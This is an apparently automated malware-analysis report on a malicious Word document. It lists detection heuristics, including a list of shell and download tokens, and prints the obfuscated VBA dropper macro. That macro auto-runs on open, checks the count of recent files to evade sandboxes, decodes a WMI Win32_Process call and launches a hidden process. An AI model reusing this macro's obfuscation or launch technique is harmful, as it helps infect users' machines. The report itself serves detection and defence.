Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f53915ca4218fda3…

MALICIOUS

Office (OLE)

157.5 KB Created: 2019-09-23 12:47:00 Authoring application: Microsoft Office Word First seen: 2020-12-25
MD5: 163822a32a2061044e62a18f2582a846 SHA-1: 44594a79bf9d1cb00afadfb62d7ce72b8912e565 SHA-256: f53915ca4218fda34366b85fec721493bfc87a82a6d27487f3003f159c9415b6
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7177248-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7177248-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject(O4sGHuo("yiwawiyiwayiwayiwanmgmyiwatsyiwayiwa:yiwayiwaWiyiwayiwanyiwa3yiwa2yiwa_yiwaProyiwaceyiwassyiwayiwa")).Create OzsCfbA6, bwKbB5, stNiHv, qEhOdk40
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29288 bytes
SHA-256: df219bab438d8d7a4f71bcb11eef8d14c3d506380240a936b985fdce932a7e09
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "lzLjoC, 0, 0, MSForms, TextBox"
Attribute VB_Control = "NHElzqf, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Z2Wj4SN, 2, 2, MSForms, TextBox"
Attribute VB_Control = "GCjBccU6, 3, 3, MSForms, TextBox"
Attribute VB_Control = "l_iUmoC6, 4, 4, MSForms, TextBox"
Attribute VB_Control = "LwXCzjbI, 5, 5, MSForms, TextBox"
Attribute VB_Control = "uGjYriQ2, 6, 6, MSForms, TextBox"
Attribute VB_Control = "RkKucj, 7, 7, MSForms, TextBox"
Attribute VB_Control = "aAUPhHu4, 8, 8, MSForms, TextBox"
Attribute VB_Control = "cpzLFkn, 9, 9, MSForms, TextBox"
Attribute VB_Control = "Q3jvX7wV, 10, 10, MSForms, TextBox"
Attribute VB_Control = "HK9fOn, 11, 11, MSForms, TextBox"
Attribute VB_Control = "JuB1kl4z, 12, 12, MSForms, TextBox"
Attribute VB_Control = "buOE4Z, 13, 13, MSForms, TextBox"
Attribute VB_Control = "BYzzfFK, 14, 14, MSForms, TextBox"
Attribute VB_Control = "QkXmaO, 15, 15, MSForms, TextBox"
Attribute VB_Control = "Obf89L, 16, 16, MSForms, TextBox"
Attribute VB_Control = "didGjc, 17, 17, MSForms, TextBox"
Attribute VB_Control = "bmOWZNu, 18, 18, MSForms, TextBox"
Attribute VB_Control = "iK6CRd, 19, 19, MSForms, TextBox"

Attribute VB_Name = "rUtC85p"
Function qNziM52()
   On Error Resume Next
   Do
      If rwivj5k = AWnUcP7j Then
         CYWsnzR = zYYZpz _
         - Hex(341 + Oct(557 / Round(455))) _
         + 555 - Fix(SqudiI28) - 11 - qUjVYmA9 _
         - E20PVd2 * Sin(z9iNVk4)
         aQfwWE = Tan(339)
      End If
         im_wYs = qfsfHERY _
         * Round(mRHKwj) / X80Uf5wF / Y3jQ0b + (JRDb_H _
         / Sin(RMIa1i) / 132 * Sin(NnwiAzt))
      For Each B7cviS In kViwB93
         ck9dZ06 = RoCEWj * Round(zLAR35) _
         / HJZzOq8m / HEsm8h + (zCln00u / Sin(i3MsrjsR) _
         / 29 * Sin(KzqrbhG))

      Next
Loop Until cVOdfY7a = JaDdqRu
OzsCfbA6 = tQQAAHD + O4sGHuo(ThisDocument.BYzzfFK + ThisDocument.RkKucj) + T7uc0Loc
   On Error Resume Next
   Do
      If TS7c6Ul = hU9vmHBi Then
         L4F0kW = N8Cbmf _
         - Hex(273 + Oct(282 / Round(507))) _
         + 109 - Fix(RIji_Q6) - 483 - aY6olbA _
         - liSUWG * Sin(RapNtc)
         n464U0 = Tan(948)
      End If
         fD0npqf = Wz_CBz _
         * Round(w6i4Kw) / TzjFT2uk / PIuWq6m9 + (MOuGcwVD _
         / Sin(WQC8S28) / 146 * Sin(dDZSTiVX))
      For Each dQMjQc In XnhjqG
         CFwEz0 = lnz7bm * Round(lz5YOvz) _
         / niUZEX / AbQkib + (JwonNo1 / Sin(o3MtES) _
         / 954 * Sin(wDiVno))

      Next
Loop Until maL21LY = C8I37How

CreateObject(O4sGHuo("yiwawiyiwayiwayiwanmgmyiwatsyiwayiwa:yiwayiwaWiyiwayiwanyiwa3yiwa2yiwa_yiwaProyiwaceyiwassyiwayiwa")).Create OzsCfbA6, bwKbB5, stNiHv, qEhOdk40
   On Error Resume Next
   Do
      If PtNzpsO = puCiubi Then
         jhC2bXr = kiOGt7 _
         - Hex(33 + Oct(801 / Round(649))) _
         + 906 - Fix(oQAFDOKW) - 268 - hicHYP _
         - FZbS1G * Sin(aLYrBH6)
         OiUmS3f = Tan(346)
      End If
         CKvlK_ = qJbia6J _
         * Round(w9nMjnld) / Cizh8LrD / wBZ9iTvb + (hKDk5hi9 _
         / Sin(IIDTqA_) / 574 * Sin(Pu2Yzw8))
      For Each lN4JSQC In MoZsujO
         wFRiTI83 = pPw80zOU * Round(rwQzjv) _
         / i_VJO_ / TO5uMbI + (Mdrb4f / Sin(d9Lzd0j) _
         / 339 * Sin(OHcoAw0f))

      Next
Loop Until V6wYpAtQ = hsfIjp

   On Error Resume Next
   Do
      If ZX48jE6 = QTV4mcqr Then
         Qn8KdS4 = IApVoPs _
         - Hex(421 + Oct(698 / Round(246))) _
         + 572 - Fix(h_oUOp) - 235 - GZOs4YV _
         - niNapq * Sin(fsp9sn5)
         CW3_ZRk = Tan(974)
      End If
         ZzpSmT = ZKst0Tk _
         * Round(w7nawUK) / zvSWRoi / N5TFVO + (mzwDCR _
         / Sin(QoPvsdi8) / 229 * Sin(wFI5EL))
      For Each Q5T4kY In iWiS9dF
         zTuiwZXz = MA2unj * Round(QcbD2qE3) _
         / wWiAi7F / hff8EjH1 + (f6tDfwHh / Sin(DZ7Q01p) _
         / 892 * Sin(X6pvwP))

      Next
Loop Until aXft1bHh = P_OaZJ
End Function
Function O4sGHuo(ITWM8HpY)
   On Error Resume Next
   Do
      If Qb1wwI = BzV0sh Then
         M32uOR = htIEDiE _
         - Hex(582 + Oct(330 / Round(310))) _
         + 851 - Fix(G9Jdhs17) - 272 - uVfjOX _
         - jr16CoM * Sin(zSBiuf)
         d0ssJAz = Tan(744)
      End If
         uSIK6r = VJ1N7j _
         * Round(h1nspK2) / iZlsjqBZ / vC6FlRdV + (TodbWjL _
         / Sin(Vtb7LPSJ) / 199 * Sin(Yww9vWUt))
      For Each WM1jum In IWAf2miC
         l2THFc = dqsEBza * Round(L57MkNV) _
         / t99Mat / A6tUGX + (BWOFUN / Sin(MUIi6Jn0) _
         / 23 * Sin(d6rYQ_))

      Next
Loop Until ojbCHjSG = F6rq5Q8F
O4sGHuo = Replace(ITWM8HpY, Replace("yiwa", "334jsn", ""), "")
   On Error Resume Next
   Do
      If v1BAiS = G5rFsA_ Then
         iqcsSb = jvz2cz2w _
         - Hex(52 + Oct(642 / Round(576))) _
         + 650 - Fix(BAKvCaXv) - 858 - Vii4waO _
         - ZmZNBwi * Sin(iF2UAJ0)
         voBViX = Tan(422)
      End If
         HQ7DBkz = MnzJ8i _
         * Round(E_hFiU6n) / UdKEBw / O1cnfBD + (RY59JXdc _
         / Sin(Zl7BboPZ) / 169 * Sin(Im_sSN))
      For Each XifBvZj In TQGrmo6
         RzB0Pm = nuZLq7iC * Round(Uc2hcMJ4) _
         / Si0EvO3A / L4vAozz + (QjontjfN / Sin(q1XdlZN) _
         / 603 * Sin(WbEioj))

      Next
Loop Until k15nX2L = k6PiQA
End Function


Attribute VB_Name = "GrwLhcn"
Sub autoopen()
   On Error Resume Next
   Do
      If jvjqYsX = Jd_BWH_ Then
         hczFGY = mVO8Yp _
         - Hex(862 + Oct(4 / Round(442))) _
         + 573 - Fix(KPXjvk) - 340 - m4rSD94 _
         - t8uqloK * Sin(zBpqwz)
         H4miUE_X = Tan(678)
      End If
         kaIzdc = lzpnlMi _
         * Round(VwEE41W) / I8j4uSPa / DLjNOSF + (bSa_wb _
         / Sin(OJzlw9d) / 427 * Sin(w2CWXKt))
      For Each X2i1wwK In kv9zbK
         Op8SNG8u = jqJHr0 * Round(lCbXBbdq) _
         / bJa4qZ5 / IOvmFa + (jIlE0ib / Sin(c5nf1iU) _
         / 185 * Sin(L1vAvN))

      Next
Loop Until Gw9bV9d5 = Jbjp0bB
If RecentFiles.Count > (12 / 4) Then
qNziM52
End If
   On Error Resume Next
   Do
      If ISvjj89 = Viz4WA Then
         bWKOJ4 = WQDNI3o _
         - Hex(513 + Oct(967 / Round(845))) _
         + 781 - Fix(jrutvA2) - 109 - sdiw6MEX _
         - ZRBZYH * Sin(vhCi2OPt)
         bwVTTQB = Tan(917)
      End If
         iW2IwfhF = OVmmV8Y _
         * Round(jUhL4o) / oK0vXjO / DYRDUJ + (BF7JAX _
         / Sin(lQkIL9i) / 469 * Sin(m6Y361YJ))
      For Each zjQTKoE3 In WzwCVqQo
         F6VIkP = GQiA0f * Round(X8ZfGG7B) _
         / GVjPkuz4 / LHt7Jz + (SawSHf / Sin(L2C_0T) _
         / 107 * Sin(GJt4qwM))

      Next
Loop Until rmVNiVRW = DJzOBBQ
End Sub
Function stNiHv()
DjO8rZ = iwrPswH + W6Ed7V
   On Error Resume Next
   Do
      If KR_boh = wEJjIV Then
         AE9isOjv = wb_dLRzi _
         - Hex(35 + Oct(738 / Round(952))) _
         + 633 - Fix(rBla9IMs) - 714 - AatHobH _
         - wwOR2j * Sin(a44wpi)
         wdilkCzb = Tan(475)
      End If
         ds31uJ8K = fvu3MG _
         * Round(XvV40Np9) / m78woD / IqJt1i + (POtqYdV_ _
         / Sin(XrtoKwkr) / 159 * Sin(FzGq3K8A))
      For Each w3KT6bP5 In i9wzmU
         aXIJCwk = CzOhVU * Round(ijauthrz) _
         / HAUDi2 / PlzzXtb + (DouPni / Sin(p5zz1b) _
         / 452 * Sin(Zbiw_RXG))

      Next
Loop Until iKwJsS = jLaEjci
Set stNiHv = CreateObject(cfAH8SR4 + O4sGHuo(ThisDocument.l_iUmoC6) + pBwnEQwc)
   On Error Resume Next
   Do
      If T7LQQ1K = U9ZZzJ Then
         zOpwBcj = iUwiKZW _
         - Hex(158 + Oct(152 / Round(247))) _
         + 172 - Fix(Vt4jFo) - 462 - J2Xq0A5o _
         - rsWiqF * Sin(rjjOiD)
         ltdaJBZM = Tan(138)
      End If
         pzrU36z = Er7Dzw6 _
         * Round(P9STDPRL) / wzSJNBSA / hmZNhjD + (jpONk5TW _
         / Sin(XDru5Zsw) / 598 * Sin(BfwbTLri))
      For Each cLdffQrl In vpzRCb
         azztjEoL = vYNvSrLQ * Round(MnsGFS) _
         / jiY3OzC / qqY3TY5r + (HXHGz2 / Sin(uGtoNQQ) _
         / 810 * Sin(UCKZsBu))

      Next
Loop Until JU7Pwaw = AjYmAcM
stNiHv.ShowWindow! = DjO8rZ
   On Error Resume Next
   Do
      If faa5c5hF = dYAhQTXk Then
         TstsCBi = aYQSkJL _
         - Hex(768 + Oct(519 / Round(50))) _
         + 643 - Fix(LQHUtR) - 633 - sZBNLv _
         - S6st2aW * Sin(FVTFaYE)
         TjPC0b = Tan(916)
      End If
         JI4YUnKs = Yfiz5i _
         * Round(wmDbB9H) / dVT7R78 / nFzsJX + (fljkmw _
         / Sin(ZL2vG7R) / 271 * Sin(fW7TMj))
      For Each jtw1Odq In Sjkw9kHj
         FfH1wkci = rZCCC7 * Round(bQtLfNj) _
         / Xnzwuaw / c59Pz6 + (C9divChs / Sin(B6_6QC0) _
         / 791 * Sin(McG0Om_Y))

      Next
Loop Until PiwifKm = klPFs6
   On Error Resume Next
   Do
      If Ji6w216 = lWaOhjAr Then
         TJhbM77 = bXpMItzq _
         - Hex(164 + Oct(513 / Round(206))) _
         + 738 - Fix(OFC9HO) - 21 - vAY0il _
         - NoHs16 * Sin(SVEKSj)
         OZfSULZN = Tan(626)
      End If
         BXbi5DEz = cBcWo0 _
         * Round(IWzZQisF) / zEP6AA5E / XBFiCmSP + (hVkmDV _
         / Sin(G51z9P1) / 204 * Sin(hBbdkVzV))
      For Each RWoQdI In hin2qA
         m0oD2ppt = aqEAwR * Round(jQioXq) _
         / J5RzVb / fwsFaqr + (MoRHorV / Sin(QAdGl9D) _
         / 942 * Sin(nb24Dib))

      Next
Loop Until i1pAjiBI = wiN72vHL
End Function



' Processing file: /opt/analyzer/scan_staging/ba20085743594a8da13dcc7d16166018.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3541 bytes
' Macros/VBA/rUtC85p - 6853 bytes
' Line #0:
' 	FuncDefn (Function rUtC85p())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Do 
' Line #3:
' 	Ld qNziM52 
' 	Ld rwivj5k 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld CYWsnzR 
' 	LitDI2 0x0155 
' 	LitDI2 0x022D 
' 	LitDI2 0x01C7 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x022B 
' 	Add 
' 	Ld zYYZpz 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x000B 
' 	Sub 
' 	Ld SqudiI28 
' 	Sub 
' 	Ld qUjVYmA9 
' 	Ld E20PVd2 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St AWnUcP7j 
' Line #5:
' 	LitDI2 0x0153 
' 	ArgsLd Tan 0x0001 
' 	St z9iNVk4 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld im_wYs 
' 	Ld qfsfHERY 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld mRHKwj 
' 	Div 
' 	Ld X80Uf5wF 
' 	Div 
' 	Ld Y3jQ0b 
' 	Ld JRDb_H 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0084 
' 	Div 
' 	Ld RMIa1i 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St aQfwWE 
' Line #8:
' 	StartForVariable 
' 	Ld NnwiAzt 
' 	EndForVariable 
' 	Ld B7cviS 
' 	ForEach 
' Line #9:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld ck9dZ06 
' 	Ld RoCEWj 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld zLAR35 
' 	Div 
' 	Ld HJZzOq8m 
' 	Div 
' 	Ld HEsm8h 
' 	Ld zCln00u 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x001D 
' 	Div 
' 	Ld i3MsrjsR 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St kViwB93 
' Line #10:
' Line #11:
' 	StartForVariable 
' 	Next 
' Line #12:
' 	Ld KzqrbhG 
' 	Ld cVOdfY7a 
' 	Eq 
' 	LoopUntil 
' Line #13:
' 	Ld OzsCfbA6 
' 	Ld ThisDocument 
' 	MemLd buOE4Z 
' 	Ld ThisDocument 
' 	MemLd _B_var_MZi_AW 
' 	Add 
' 	ArgsLd tQQAAHD 0x0001 
' 	Add 
' 	Ld O4sGHuo 
' 	Add 
' 	St JaDdqRu 
' Line #14:
' 	OnError (Resume Next) 
' Line #15:
' 	Do 
' Line #16:
' 	Ld T7uc0Loc 
' 	Ld TS7c6Ul 
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld L4F0kW 
' 	LitDI2 0x0111 
' 	LitDI2 0x011A 
' 	LitDI2 0x01FB 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x006D 
' 	Add 
' 	Ld N8Cbmf 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x01E3 
' 	Sub 
' 	Ld RIji_Q6 
' 	Sub 
' 	Ld aY6olbA 
' 	Ld liSUWG 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St hU9vmHBi 
' Line #18:
' 	LitDI2 0x03B4 
' 	ArgsLd Tan 0x0001 
' 	St RapNtc 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld fD0npqf 
' 	Ld Wz_CBz 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld w6i4Kw 
' 	Div 
' 	Ld TzjFT2uk 
' 	Div 
' 	Ld PIuWq6m9 
' 	Ld MOuGcwVD 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0092 
' 	Div 
' 	Ld WQC8S28 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St n464U0 
' Line #21:
' 	StartForVariable 
' 	Ld dDZSTiVX 
' 	EndForVariable 
' 	Ld dQMjQc 
' 	ForEach 
' Line #22:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld CFwEz0 
' 	Ld lnz7bm 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld lz5YOvz 
' 	Div 
' 	Ld niUZEX 
' 	Div 
' 	Ld AbQkib 
' 	Ld JwonNo1 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x03BA 
' 	Div 
' 	Ld o3MtES 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St XnhjqG 
' Line #23:
' Line #24:
' 	StartForVariable 
' 	Next 
' Line #25:
' 	Ld wDiVno 
' 	Ld maL21LY 
' 	Eq 
' 	LoopUntil 
' Line #26:
' Line #27:
' 	Ld JaDdqRu 
' 	Ld Create 
' 	Ld bwKbB5 
' 	Ld stNiHv 
' 	LitStr 0x0062 "yiwawiyiwayiwayiwanmgmyiwatsyiwayiwa:yiwayiwaWiyiwayiwanyiwa3yiwa2yiwa_yiwaProyiwaceyiwassyiwayiwa"
' 	ArgsLd tQQAAHD 0x0001 
' 	ArgsLd C8I37How 0x0001 
' 	ArgsMemCall CreateObject 0x0004 
' Line #28:
' 	OnError (Resume Next) 
' Line #29:
' 	Do 
' Line #30:
' 	Ld qEhOdk40 
' 	Ld PtNzpsO 
' 	Eq 
' 	IfBlock 
' Line #31:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld jhC2bXr 
' 	LitDI2 0x0021 
' 	LitDI2 0x0321 
' 	LitDI2 0x0289 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x038A 
' 	Add 
' 	Ld kiOGt7 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x010C 
' 	Sub 
' 	Ld oQAFDOKW 
' 	Sub 
' 	Ld hicHYP 
' 	Ld FZbS1G 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St puCiubi 
' Line #32:
' 	LitDI2 0x015A 
' 	ArgsLd Tan 0x0001 
' 	St aLYrBH6 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld CKvlK_ 
' 	Ld qJbia6J 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld w9nMjnld 
' 	Div 
' 	Ld Cizh8LrD 
' 	Div 
' 	Ld wBZ9iTvb 
' 	Ld hKDk5hi9 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x023E 
' 	Div 
' 	Ld IIDTqA_ 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St OiUmS3f 
' Line #35:
' 	StartForVariable 
' 	Ld Pu2Yzw8 
' 	EndForVariable 
' 	Ld lN4JSQC 
' 	ForEach 
' Line #36:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld wFRiTI83 
' 	Ld pPw80zOU 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld rwQzjv 
' 	Div 
' 	Ld i_VJO_ 
' 	Div 
' 	Ld TO5uMbI 
' 	Ld Mdrb4f 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0153 
' 	Div 
' 	Ld d9Lzd0j 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St MoZsujO 
' Line #37:
' Line #38:
' 	StartForVariable 
' 	Next 
' Line #39:
' 	Ld OHcoAw0f 
' 	Ld V6wYpAtQ 
' 	Eq 
' 	LoopUntil 
' Line #40:
' Line #41:
' 	OnError (Resume Next) 
' Line #42:
' 	Do 
' Line #43:
' 	Ld hsfIjp 
' 	Ld ZX48jE6 
' 	Eq 
' 	IfBlock 
' Line #44:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld Qn8KdS4 
' 	LitDI2 0x01A5 
' 	LitDI2 0x02BA 
' 	LitDI2 0x00F6 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x023C 
' 	Add 
' 	Ld IApVoPs 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x00EB 
' 	Sub 
' 	Ld h_oUOp 
' 	Sub 
' 	Ld GZOs4YV 
' 	Ld niNapq 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St QTV4mcqr 
' Line #45:
' 	LitDI2 0x03CE 
' 	ArgsLd Tan 0x0001 
' 	St fsp9sn5 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld ZzpSmT 
' 	Ld ZKst0Tk 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld w7nawUK 
' 	Div 
' 	Ld zvSWRoi 
' 	Div 
' 	Ld N5TFVO 
' 	Ld mzwDCR 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x00E5 
' 	Div 
' 	Ld QoPvsdi8 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St CW3_ZRk 
' Line #48:
' 	StartForVariable 
' 	Ld wFI5EL 
' 	EndForVariable 
' 	Ld Q5T4kY 
' 	ForEach 
' Line #49:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld zTuiwZXz 
' 	Ld MA2unj 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld QcbD2qE3 
' 	Div 
' 	Ld wWiAi7F 
' 	Div 
' 	Ld hff8EjH1 
' 	Ld f6tDfwHh 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x037C 
' 	Div 
' 	Ld DZ7Q01p 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St iWiS9dF 
' Line #50:
' Line #51:
' 	StartForVariable 
' 	Next 
' Line #52:
' 	Ld X6pvwP 
' 	Ld aXft1bHh 
' 	Eq 
' 	LoopUntil 
' Line #53:
' 	EndFunc 
' Line #54:
' 	FuncDefn (Function tQQAAHD(P_OaZJ))
' Line #55:
' 	OnError (Resume Next) 
' Line #56:
' 	Do 
' Line #57:
' 	Ld ITWM8HpY 
' 	Ld Qb1wwI 
' 	Eq 
' 	IfBlock 
' Line #58:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld M32uOR 
' 	LitDI2 0x0246 
' 	LitDI2 0x014A 
' 	LitDI2 0x0136 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x0353 
' 	Add 
' 	Ld htIEDiE 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x0110 
' 	Sub 
' 	Ld G9Jdhs17 
' 	Sub 
' 	Ld uVfjOX 
' 	Ld jr16CoM 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St BzV0sh 
' Line #59:
' 	LitDI2 0x02E8 
' 	ArgsLd Tan 0x0001 
' 	St zSBiuf 
' Line #60:
' 	EndIfBlock 
' Line #61:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld uSIK6r 
' 	Ld VJ1N7j 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld h1nspK2 
' 	Div 
' 	Ld iZlsjqBZ 
' 	Div 
' 	Ld vC6FlRdV 
' 	Ld TodbWjL 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x00C7 
' 	Div 
' 	Ld Vtb7LPSJ 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St d0ssJAz 
' Line #62:
' 	StartForVariable 
' 	Ld Yww9vWUt 
' 	EndForVariable 
' 	Ld WM1jum 
' 	ForEach 
' Line #63:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld l2THFc 
' 	Ld dqsEBza 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld L57MkNV 
' 	Div 
' 	Ld t99Mat 
' 	Div 
' 	Ld A6tUGX 
' 	Ld BWOFUN 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0017 
' 	Div 
' 	Ld MUIi6Jn0 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St IWAf2miC 
' Line #64:
' Line #65:
' 	StartForVariable 
' 	Next 
' Line #66:
' 	Ld d6rYQ_ 
' 	Ld ojbCHjSG 
' 	Eq 
' 	LoopUntil 
' Line #67:
' 	Ld P_OaZJ 
' 	LitStr 0x0004 "yiwa"
' 	LitStr 0x0006 "334jsn"
' 	LitStr 0x0000 ""
' 	ArgsLd F6rq5Q8F 0x0003 
' 	LitStr 0x0000 ""
' 	ArgsLd F6rq5Q8F 0x0003 
' 	St tQQAAHD 
' Line #68:
' 	OnError (Resume Next) 
' Line #69:
' 	Do 
' Line #70:
' 	Ld Replace 
' 	Ld v1BAiS 
' 	Eq 
' 	IfBlock 
' Line #71:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld iqcsSb 
' 	LitDI2 0x0034 
' 	LitDI2 0x0282 
' 	LitDI2 0x0240 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x028A 
' 	Add 
' 	Ld jvz2cz2w 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x035A 
' 	Sub 
' 	Ld BAKvCaXv 
' 	Sub 
' 	Ld Vii4waO 
' 	Ld ZmZNBwi 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St G5rFsA_ 
' Line #72:
' 	LitDI2 0x01A6 
' 	ArgsLd Tan 0x0001 
' 	St iF2UAJ0 
' Line #73:
' 	EndIfBlock 
' Line #74:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld HQ7DBkz 
' 	Ld MnzJ8i 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld E_hFiU6n 
' 	Div 
' 	Ld UdKEBw 
' 	Div 
' 	Ld O1cnfBD 
' 	Ld RY59JXdc 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x00A9 
' 	Div 
' 	Ld Zl7BboPZ 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St voBViX 
' Line #75:
' 	StartForVariable 
' 	Ld Im_sSN 
' 	EndForVariable 
' 	Ld XifBvZj 
' 	ForEach 
' Line #76:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld RzB0Pm 
' 	Ld nuZLq7iC 
